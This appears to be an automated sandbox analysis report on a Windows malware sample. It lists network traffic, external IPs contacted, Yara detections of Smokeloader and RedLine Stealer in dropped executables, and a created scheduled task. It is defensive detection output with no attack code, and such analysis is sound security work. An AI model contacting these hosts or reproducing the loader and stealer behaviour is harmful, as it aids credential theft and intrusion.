Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53653
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52684
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52685
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53652
Source: unknown	Network traffic detected: HTTP traffic on port 51699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51110
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51478
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53656
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53655
Source: unknown	Network traffic detected: HTTP traffic on port 53550 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55637 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55602 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51481
Source: unknown	Network traffic detected: HTTP traffic on port 54653 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52692
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52690
Source: unknown	Network traffic detected: HTTP traffic on port 52500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55609
Source: unknown	Network traffic detected: HTTP traffic on port 50766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55605
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55606
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55607
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55608
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55601
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55602
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55603
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55604
Source: unknown	Network traffic detected: HTTP traffic on port 54742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55636 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52495 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51487
Source: unknown	Network traffic detected: HTTP traffic on port 55603 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53550
Source: unknown	Network traffic detected: HTTP traffic on port 55588 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 54753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55582 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55614 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55427 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55617
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55618
Source: unknown	Network traffic detected: HTTP traffic on port 51743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55619
Source: unknown	Network traffic detected: HTTP traffic on port 55599 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55613
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55614
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55631 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54096
Source: unknown	Network traffic detected: HTTP traffic on port 55571 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54650
Source: unknown	Network traffic detected: HTTP traffic on port 55608 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55625 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52514
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52515
Source: unknown	Network traffic detected: HTTP traffic on port 52515 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54819
Source: unknown	Network traffic detected: HTTP traffic on port 55426 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54817
Source: unknown	Network traffic detected: HTTP traffic on port 54651 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52512
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55586
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52513
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55587
Source: unknown	Network traffic detected: HTTP traffic on port 54725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55588
Source: unknown	Network traffic detected: HTTP traffic on port 52493 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55589
Source: unknown	Network traffic detected: HTTP traffic on port 55638 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55593 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55593
Source: unknown	Network traffic detected: HTTP traffic on port 55570 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55590
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55591
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55592
Source: unknown	Network traffic detected: HTTP traffic on port 55609 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55633 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55597
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55598
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55599
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55587 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55644 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55581 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54718
Source: unknown	Network traffic detected: HTTP traffic on port 54817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55598 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55632 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55626 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55414 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55250
Source: unknown	Network traffic detected: HTTP traffic on port 55569 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55130
Source: unknown	Network traffic detected: HTTP traffic on port 53653 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54725
Source: unknown	Network traffic detected: HTTP traffic on port 54913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55586 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54722
Source: unknown	Network traffic detected: HTTP traffic on port 55592 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55604 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55382
Source: unknown	Network traffic detected: HTTP traffic on port 51727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55575 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55621 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51515 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55640 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55429
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55425
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51189
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55426
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55427
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55428
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55423
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51741
Source: unknown	Network traffic detected: HTTP traffic on port 51701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55430
Source: unknown	Network traffic detected: HTTP traffic on port 55605 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53010
Source: unknown	Network traffic detected: HTTP traffic on port 51724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51481 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55597 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55574 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51515
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55425 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55580 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51487 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55419 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54650 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52514 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55554
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55560
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55562
Source: unknown	Network traffic detected: HTTP traffic on port 51729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 55382 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55623 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 53656 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54917
Source: unknown	Network traffic detected: HTTP traffic on port 52513 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55568
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55569
Source: unknown	Network traffic detected: HTTP traffic on port 52382 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55562 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54118
Source: unknown	Network traffic detected: HTTP traffic on port 55617 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55571
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55572
Source: unknown	Network traffic detected: HTTP traffic on port 52498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55573
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55574
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54122
Source: unknown	Network traffic detected: HTTP traffic on port 55591 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55570
Source: unknown	Network traffic detected: HTTP traffic on port 51185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55622 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55645 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52377 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52989
Source: unknown	Network traffic detected: HTTP traffic on port 55639 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55575
Source: unknown	Network traffic detected: HTTP traffic on port 50763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52500
Source: unknown	Network traffic detected: HTTP traffic on port 54722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55568 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55582
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55583
Source: unknown	Network traffic detected: HTTP traffic on port 55413 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55584
Source: unknown	Network traffic detected: HTTP traffic on port 51394 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55580
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55581
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443

Source: unknown	HTTPS traffic detected: 140.82.112.4:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.100.78.158:443 -> 192.168.2.5:51394 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.100.78.158:443 -> 192.168.2.5:51964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 222.255.238.159:443 -> 192.168.2.5:53550 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.54.158:443 -> 192.168.2.5:55130 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.68.143:443 -> 192.168.2.5:55554 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.169.89:443 -> 192.168.2.5:55562 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.5:55560 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.200.219:443 -> 192.168.2.5:55569 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.200.219:443 -> 192.168.2.5:55570 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.178.183:443 -> 192.168.2.5:55573 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.178.183:443 -> 192.168.2.5:55574 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.192.141.1:443 -> 192.168.2.5:55568 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.178:443 -> 192.168.2.5:55575 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.142:443 -> 192.168.2.5:55572 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.142:443 -> 192.168.2.5:55571 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 107.167.110.211:443 -> 192.168.2.5:55580 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 107.167.110.211:443 -> 192.168.2.5:55581 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.133:443 -> 192.168.2.5:55584 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.133:443 -> 192.168.2.5:55583 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.217.234.57:443 -> 192.168.2.5:55582 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.63.71:443 -> 192.168.2.5:55587 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.63.71:443 -> 192.168.2.5:55586 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.168.159:443 -> 192.168.2.5:55617 version: TLS 1.2

Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe

Code function: 13_2_0040710B GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

13_2_0040710B

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 17.2.sUyDoVTGsfEnMY0oeyexTBut.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.pxzTG78L668f3mDyeDkHXryr.exe.2d80e67.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.VT4T5BrKWgz9d48cmEd8ePkZ.exe.2da0e67.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.YfSmDepXBWKsGmamEEWNYwB5.exe.2dc0e67.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.MK1r6sTJJ0KuvAGWdjimbW8H.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.sUyDoVTGsfEnMY0oeyexTBut.exe.2e10e67.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.VvPx7JMqkEvTJAQ2rPS2y2wf.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.PM6qM9TthMxsL1RAWEhuUNLx.exe.2e10e67.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.pxzTG78L668f3mDyeDkHXryr.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.VvPx7JMqkEvTJAQ2rPS2y2wf.exe.2dc0e67.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.YfSmDepXBWKsGmamEEWNYwB5.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe.2cb0e67.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.VT4T5BrKWgz9d48cmEd8ePkZ.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.LP2uR8v5nKtflOO7HsEX74Am.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.MK1r6sTJJ0KuvAGWdjimbW8H.exe.2dc0e67.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.PM6qM9TthMxsL1RAWEhuUNLx.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.LP2uR8v5nKtflOO7HsEX74Am.exe.2e80e67.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.3216770112.0000000003203000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3183308151.0000000000843000.00000040.00000001.01000000.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3298037878.0000000003203000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3398211956.00000000031C3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3306276662.0000000003203000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3144948166.0000000000843000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3026570515.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3043788624.0000000000843000.00000040.00000001.01000000.0000001E.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3409633902.0000000003253000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3183446408.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3061309929.0000000000843000.00000040.00000001.01000000.0000001C.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3263335917.0000000000843000.00000040.00000001.01000000.00000022.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3216774766.0000000003253000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3250452098.00000000032C3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3306333274.00000000031E3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3259586341.0000000000843000.00000040.00000001.01000000.0000001F.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3275782158.00000000030F3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3182375526.0000000000843000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VT4T5BrKWgz9d48cmEd8ePkZ.exe PID: 7280, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sUyDoVTGsfEnMY0oeyexTBut.exe PID: 7308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VvPx7JMqkEvTJAQ2rPS2y2wf.exe PID: 7392, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe PID: 7568, type: MEMORYSTR

System Summary

Source: 0000000F.00000002.2758122594.00000000008F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000019.00000002.3195890952.00000000010DF000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000005.00000002.4581208018.000000000A499000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Auto-generated rule - file scan copy.pdf.r11 Author: Florian Roth
Source: 00000012.00000002.3306276662.0000000002DC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000011.00000002.3187282898.0000000001170000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000005.00000002.4581208018.000000000A6D9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Auto-generated rule - file scan copy.pdf.r11 Author: Florian Roth
Source: 00000011.00000002.3216774766.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000024.00000002.3385094968.0000000001171000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000001E.00000002.3216770112.0000000002DC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000010.00000002.3306333274.0000000002DA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000021.00000002.3266926233.000000000111E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000020.00000002.3381975417.0000000000FDD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000010.00000002.3275239614.0000000001202000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000012.00000002.3269213397.0000000001022000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000014.00000002.3245748971.000000000110C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000F.00000002.2758267027.0000000000942000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000001E.00000002.3187121792.0000000001021000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000020.00000002.3398211956.0000000002D80000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000024.00000002.3409633902.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000021.00000002.3298037878.0000000002DC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000019.00000002.3250452098.0000000002E80000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\dl7WL77rkA.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_00404375 EntryPoint,SetErrorMode,GetVersion,lstrlenA,InitCommonControls,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,DeleteFileA,DeleteFileA,GetWindowsDirectoryA,DeleteFileA,DeleteFileA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,DeleteFileA,DeleteFileA,OleUninitialize,GetCurrentProcess,ExitWindowsEx,ExitProcess,		13_2_00404375
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Code function: 14_2_00404375 EntryPoint,SetErrorMode,GetVersion,lstrlenA,InitCommonControls,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,DeleteFileA,DeleteFileA,GetWindowsDirectoryA,DeleteFileA,DeleteFileA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,DeleteFileA,DeleteFileA,OleUninitialize,GetCurrentProcess,ExitWindowsEx,ExitProcess,		14_2_00404375

Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe

File created: C:\Windows\Tasks\88e931437f4fbe2c.job

Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Code function: 12_2_00405DF0	12_2_00405DF0
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Code function: 12_2_00402D90	12_2_00402D90
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Code function: 12_2_004096C2	12_2_004096C2
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Code function: 12_2_004046A1	12_2_004046A1
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Code function: 12_2_004057D2	12_2_004057D2

Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Code function: String function: 00405D94 appears 38 times
